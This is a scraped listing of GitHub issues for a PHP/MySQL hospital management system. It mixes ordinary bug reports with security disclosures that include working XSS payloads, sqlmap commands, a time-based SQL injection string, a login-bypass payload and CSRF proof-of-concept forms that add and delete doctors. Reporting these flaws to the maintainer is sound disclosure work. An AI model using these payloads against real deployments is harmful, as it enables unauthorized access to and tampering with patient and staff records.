kishan0725 / hospital-management-system Goto Github PK

Hospital Management System using php and mysql

PHP 91.37% CSS 3.70% JavaScript 1.87% HTML 0.12% Hack 0.15% Ruby 0.01% SCSS 2.78%

hospital-management-system php mysql bootstrap xampp hospital-appointment-booking hospital-management fullstack-development

hospital-management-system's Issues

Admin login problem

I have tried to login using the provided admin login credentials but I am get an error stating wrong username or password. Kindly assist

Registration permit patients with same identity

registration process permit registration of patients with same identity i.e Names, email and phone number

Unauthenticated Doctor Deletion Vulnerability

Crafted HTTP packet can delete doctors without being authenticated as receptionist/admin.

Before:

After:

use environment variables instead hardcoded mysql values

a lot of pages use hardcoded values for mysql connection

Persistent cross-site scripting (XSS) targeted towards web admin through /admin-panel1.php at via the parameter demail.

Persistent cross-site scripting (XSS) in Hospital Management System v4.0 targeted towards web admin through /admin-panel1.php at via the parameter demail.

Add Doctor info payload to Doctor Name of Add Doctor page to target /admin-panel1.php ,then use burpsuite get requests datas,change the 'demail' parameter to xss payload: <sCrIpT>alert(5555)</ScRiPt>

Proof of concept (Poc)

<sCrIpT>alert(5555)</ScRiPt>

SQLi to RCE vulnerability

Please contact me to resolve this issue. I am not going to publish the exploit code here.

SQL Injection Vulnerability in Message Search

Intercept message search and save contents into a text file.

Run SQLmap

Area of concern in messearch.php

Hello developers, can you add a version number?

VULNERABLE: SQL Injection exists in Hospital-Management-System. An attacker can inject query in “/Hospital-Management-System-master/contact.php" via the ‘txtMsg’ parameters.

Intercept contact info and save contents into a text file(1.txt).

Run SQLmap

python3 .\sqlmap.py -r .\1.txt

Area of concern in contact.php

CSRF in adding and deleting doctor

Hi,

There is a site-wide CSRF vulnerability in every functionality.

Add Doctor

<html>
  <body>
    <form action="http://49f9541dc2b3.ngrok.io/admin-panel1.php" method="POST">
      <input type="hidden" name="doctor" value="test" />
      <input type="hidden" name="special" value="Cardiologist" />
      <input type="hidden" name="demail" value="test&#64;gmail&#46;com" />
      <input type="hidden" name="dpassword" value="testtest" />
      <input type="hidden" name="cdpassword" value="testtest" />
      <input type="hidden" name="docFees" value="123" />
      <input type="hidden" name="docsub" value="Add&#32;Doctor" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Delete Doctor

<html>
  <body>
    <form action="http://localhost/admin-panel1.php" method="POST">
      <input type="hidden" name="demail" value="testbydhakalananda&#64;gmail&#46;com" />
      <input type="hidden" name="docsub1" value="Delete&#32;Doctor" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

VULNERABLE: SQL Injection in Hospital-Management-System. SQL injection in Hospital-Management-System/patientsearch.php via the 'patient_contact' param

I found an SQL Injection in your project
Pls Follow these steps to reproduce:

Create a request to 'patientsearch.php':
Save this request to 1.txt file:
Run SQLMap for the attack:
sqlmap -r 1.txt --dbs
Area of concern in patientsearch.php

Persistent Cross Site Scripting (XSS) Vulnerability in Prescription

Add XSS in Prescription as DOCTOR

Login as ADMIN

Persistent XSS upon logging in as ADMIN

Issue in prescribe.php

I found some SQL injection

#1 Messarch.php

#2 appsearch.php

#3 doctorsearch.php

#4 doctorsearch.php

#5 patientsearch.php

Persistent cross-site scripting (XSS) in targeted towards web admin through /admin-panel1.php at via the parameter "special".

Add Doctor info payload to Doctor Special of Add Doctor page to target /admin-panel1.php, then use burpsuite get requests datas, change the 'special' parameter to xss payload: <script>alert(123)</script>
Step to exploit:

Navigate to http://hospital.com/admin-panel1.php
Click 'Add Doctors ', use burpsuite to insert xss payload in the "special" parameter
Click "Add Doctors"

Proof of concept (Poc)：

Persistent Cross Site Scripting (XSS) Vulnerability in Contact Page

Add XSS to message section of Contact page to target receptionist/admin.

Bug Found

The appointments which are past the due time are still active. They can either be rescheduled by the docter or the appointment can be simply cancelled by the doctor.

Trying to get in touch regarding a security issue

Hi there,

I couldn't find a SECURITY.md in your repository and am not sure how to best contact you privately to disclose a security issue.

Can you add a SECURITY.md file with an e-mail to your repository, so that our system can send you the vulnerability details? GitHub suggests that a security policy is the best way to make sure security issues are responsibly disclosed.

Once you've done that, you should receive an e-mail within the next hour with more info.

Thanks! (cc @huntr-helper)

appointment not work

appointment not create

I have found a sql injection

index1.php ----> fun.php

Bug Found : 2

Appointment status in doctor panel should change from "active" to "completed" either after the prescription is given or after the bill is paid by the patient.

The completed appointment should be removed from the doctor panel after the bill is paid.

I found some SQL injection

doctor-panel.php

contact.php

Apoointment issue for new user

When we register new patient and redirect to admin panel then we can't book appointments.

Persistent cross-site scripting (XSS) in targeted towards web admin through /admin-panel1.php at via the parameter dpassword.

Add Doctor info payload to Doctor Name of Add Doctor page to target /admin-panel1.php ,then use burpsuite get requests datas,change the 'dpassword' parameter to xss payload: <sCrIpT>alert(7777)</ScRiPt>
Steps to exploit:

Navigate to http://hospital.com/admin-panel1.php
click 'Add Doctors ', use burpsuite to insert xss payload in the "dpassword" parameter
Click "Add Doctors"

Proof of concept (Poc)：

<sCrIpT>alert(7777)</ScRiPt>

Patients's name, appointment and id not showing in the prescription list!

When doctor prescribes new patient, patient's name, id and appointment id is not showing the prescription list. It seems there is some bug in this application.

Parse error: syntax error, unexpected '[' in C:\xampp\htdocs\hms\TCPDF\include\tcpdf_static.php on line 1862

please help me

Persistent cross-site scripting (XSS) in targeted towards web admin through /admin-panel1.php at via the parameter doctor.

Add Doctor info payload to Doctor Name of Add Doctor page to target /admin-panel1.php ,then use burpsuite get requests datas,change the 'doctor' parameter to xss payload: <sCrIpT>alert(1234)</ScRiPt>

Proof of concept (Poc)：

<sCrIpT>alert(1234)</ScRiPt>

needs a lot of php refactor

remove comments
tabulate code
unit tests
don't use same php file to post actions and get renderization

VULNERABLE: SQL Injection in Hospital-Management-System. SQL injection in Hospital-Management-System/doctorsearch.php via the 'doctor_contact' param

I found an SQL Injection in your project
Pls Follow these steps to reproduce:

1:In admin panel use feature search doctor:

2: Create a request to 'doctorsearch.php':

3: Save this request to test.txt file:

4: Run SQLMap for the attack:
sqlmap -r test.txt -p doctor_contact

-> Injected

5: Area of concern in doctorsearch.php ( line 11 -> line 17 )

Multiple Vulnerabilities

Multiple SQL injections and a XSS vulnerability in Hospital-Management-System v4

A Resuming Table of the Discovered Vulnerabilities:

To reproduce the XSS vulnerability a <script>alert(1)</script> would work. And for the SQL injections, time delay payloads work (such as '+(select*from(select(sleep(20)))a)+')

VULNERABLE: SQL Injection Authentication Bypass exists in Hospital-Management-System. An attacker can inject query in “/Hospital-Management-System-master/func.php" via the ‘email’ parameters.

Description: The vulnerability is present in the “/Hospital-Management-System-master/func.php " , and can be exploited throuth a POST request via the ‘email’ parameters.
Impact: Allow attacker inject query and access , disclosure of all data on the system.
Suggestions: User input should be filter, Escaping and Parameterized Queries.
Payload: email =' or 1 limit 0,1#
File affect:
Proof of concept (POC):
Inject payload:
Bypass authentication success and redirect admin panel

add docker support

in search.php has sql injection

in this code.

kishan0725 / hospital-management-system Goto Github PK

hospital-management-system's Issues

VULNERABLE: SQL Injection Authentication Bypass exists in Hospital-Management-System. An attacker can inject query in “/Hospital-Management-System-master/func.php" via the ‘email’ parameters.

Recommend Projects

Recommend Topics

Recommend Org